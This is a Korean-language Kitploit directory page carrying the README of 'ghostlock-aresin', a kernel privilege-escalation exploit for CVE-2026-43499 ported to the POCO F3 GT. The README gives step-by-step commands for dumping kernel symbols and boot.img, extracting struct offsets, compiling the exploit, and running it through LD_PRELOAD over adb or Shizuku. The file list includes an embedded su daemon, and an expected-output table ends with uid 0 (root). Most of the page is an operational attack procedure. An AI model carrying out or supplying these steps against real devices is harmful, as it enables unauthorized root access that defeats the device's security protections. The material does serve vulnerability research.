Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ghostlock-aresin — POCO F3 GT(aresin)용 GhostLock(CVE-2026-43499) 익스플로잇 — MediaTek Dimensity 1200, Linux 4.14.186 ARM64 커널에서 futex PI 체인 조작을 통한 권한 상승 | Kitploit
도구/GitHubGitHub/nothingfumo/ghostlock-aresin
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationReverse EngineeringMobile SecurityBinary Exploitation
GitHubnothingfumo/ghostlock-aresin

ghostlock-aresin

POCO F3 GT(aresin)용 GhostLock(CVE-2026-43499) 익스플로잇 — MediaTek Dimensity 1200, Linux 4.14.186 ARM64 커널에서 futex PI 체인 조작을 통한 권한 상승

저장소 보기
42925일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

GhostLock (CVE-2026-43499) — POCO F3 GT (aresin)

MediaTek Dimensity 1200 (MT6893)용 데이터 전용 physmap 덮어쓰기 익스플로잇. 커널: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM.

⚠️ 사전 조건

  • 기기: POCO F3 GT / Redmi K40 Gaming Edition (codename: aresin)
  • 칩셋: MediaTek Dimensity 1200 (MT6893)
  • 시스템: Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM)
  • 커널: 4.14.186-g0dc1d312efb3
  • BL 잠금 해제 불필요 — Shizuku(무선 디버깅)를 통해 셸 권한을 얻어 실행 가능
  • Shizuku 또는 adb shell에서 arm64 바이너리 실행 가능
  • 실행 후 기기가 재부팅됩니다(커널 패닉 — 예상된 동작). 로그를 저장하려면 미리 adb logcat을 연결해 두세요

✅ 취약점 조건 점검

조건상태설명
커널 버전 범위✅4.14.186은 2.6.39 ~ 7.0.4 범위 내
CONFIG_FUTEX_PI✅활성화됨 (y)
CONFIG_RT_MUTEXES✅활성화됨 (y)
아키텍처✅aarch64
CONFIG_PREEMPT✅활성화됨 (y)
CONFIG_RANDOMIZE_KSTACK❓확인 필요 (4.14는 지원하지 않을 수 있음)

🔧 포팅 단계

1단계: 커널 심볼 주소 추출

root@kitploit:~
# 기기에서 추출 스크립트 실행
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt

root(Magisk) 권한이 있다면 /proc/kallsyms에서 직접 추출할 수 있습니다:

root@kitploit:~
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"

2단계: vmlinux 추출 및 구조체 오프셋 분석

방법 A: boot.img에서 vmlinux 추출

root@kitploit:~
# 1. boot.img 확보
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img

# 2. magiskboot로 언패킹
magiskboot unpack boot.img
# 산출물: kernel (압축된 vmlinux)

# 3. vmlinux 압축 해제
magiskboot decompress kernel vmlinux.elf

# 4. pahole로 구조체 오프셋 추출
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"

방법 B: Ghidra로 분석

  1. Ghidra로 vmlinux.elf 열기
  2. rt_mutex_waiter 및 task_struct 구조체 검색
  3. 각 필드 오프셋 기록

3단계: target.h 작성

추출한 오프셋을 target.h의 모든 0xTODO 위치에 채웁니다.

주요 오프셋 참조 표:

4단계: 컴파일

root@kitploit:~
# Android NDK r27+ 필요
export NDK_ROOT=/path/to/android-ndk-r27
# 또는 Android Studio에 포함된 NDK 사용
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973

# 컴파일
make preload TARGET_HEADER=target.h

# 산출물: build/bin/preload.so

5단계: 테스트

root@kitploit:~
# 기기로 푸시
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true

# 실행
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

# 또는 Shizuku 사용
# Shizuku에서 실행: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

📊 예상 동작

⚠️ 중요 참고 사항

4.14.x vs 6.1.x 커널 차이점

  1. rt_mutex_waiter 구조 다름:

    • 4.14.x는 rb_node가 아닌 plist_node 사용
    • 필드 오프셋이 완전히 다름
    • deadline / ww_ctx 필드가 없을 수 있음
  2. task_struct 레이아웃 다름:

    • 4.14.x의 pi_blocked_on, pi_lock 등의 오프셋이 6.1.x와 다름
    • uclamp 관련 필드는 4.14.x에 존재하지 않을 수 있음
  3. KASLR 구현 다름:

    • 4.14.x의 KASLR 무작위화 방식이 6.1.x와 다름
    • 누출 방법을 조정해야 할 수 있음
  4. Android 13 vs 14 보안 차이:

    • SELinux 정책이 다를 수 있음
    • /proc/self/pagemap 접근 제한이 다를 수 있음

오프셋 검증

오프셋을 입력한 후 Ghidra로 교차 검증을 권장합니다:

  1. Ghidra에서 vmlinux.elf 열기
  2. rt_mutex_waiter 구조체로 이동
  3. 각 필드의 오프셋이 target.h와 일치하는지 확인

📁 파일 구조

root@kitploit:~
ghostlock-aresin/
├── README.md              # 이 파일
├── Makefile               # 컴파일 스크립트
├── target.h               # 대상 기기 오프셋 정의 (작성 필요)
├── src/                   # 소스 코드
│   ├── main.c             # 주요 익스플로잇 로직
│   ├── util.c             # 유틸리티 함수
│   ├── slide.c            # KASLR 누출
│   ├── fops.c             # 파일 연산
│   ├── pipe.c             # pipe 관련
│   ├── preload.c          # LD_PRELOAD 엔트리
│   ├── su_daemon.c        # su 데몬
│   ├── su_blob.S          # su 바이너리 임베드
│   ├── standalone.c       # 독립 실행
│   ├── common.h           # 공용 정의
│   └── offset.h           # 오프셋 계산
├── tools/
│   └── extract_offsets.sh # 오프셋 추출 스크립트
└── build/
    ├── bin/               # 컴파일 산출물
    └── embed/             # 임베드 파일

📜 라이선스

연구/교육 목적으로만 사용하세요. 사용에 따른 책임은 본인에게 있습니다.

원본 PoC: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/ 적용 대상: POCO F3 GT (aresin) by ghostlock-aresin

도구 다운로드
필드설명추출 방법
INIT_TASKinit_task 주소/proc/kallsyms 또는 Ghidra
INIT_CREDinit_cred 주소/proc/kallsyms 또는 Ghidra
WAITER_*_OFFrt_mutex_waiter 필드 오프셋pahole / Ghidra
FAKE_TASK_*_OFFtask_struct 필드 오프셋pahole / Ghidra
TASK_CRED_OFFcred 포인터 오프셋pahole / Ghidra
단계출력설명
초기화[*] GhostLock - aresin (MT6893 D1200) 4.14.186기기 인식 성공
CPU 바인딩[+] CPU0 pinnedCPU0에 고정
주소 로드[*] init_task @ 0xffffffc00xxxxxxx고정 LM 주소
권한 확인[+] uid: xxxxx현재 uid 출력
KASLR slide[+] slide = 0 또는 slide = xxxKASLR 감지
권한 상승 트리거성공 시 uid가 0으로 변경root 획득
실패[-] ... + 재부팅커널 패닉(취약점은 존재하지만 오프셋 조정 필요)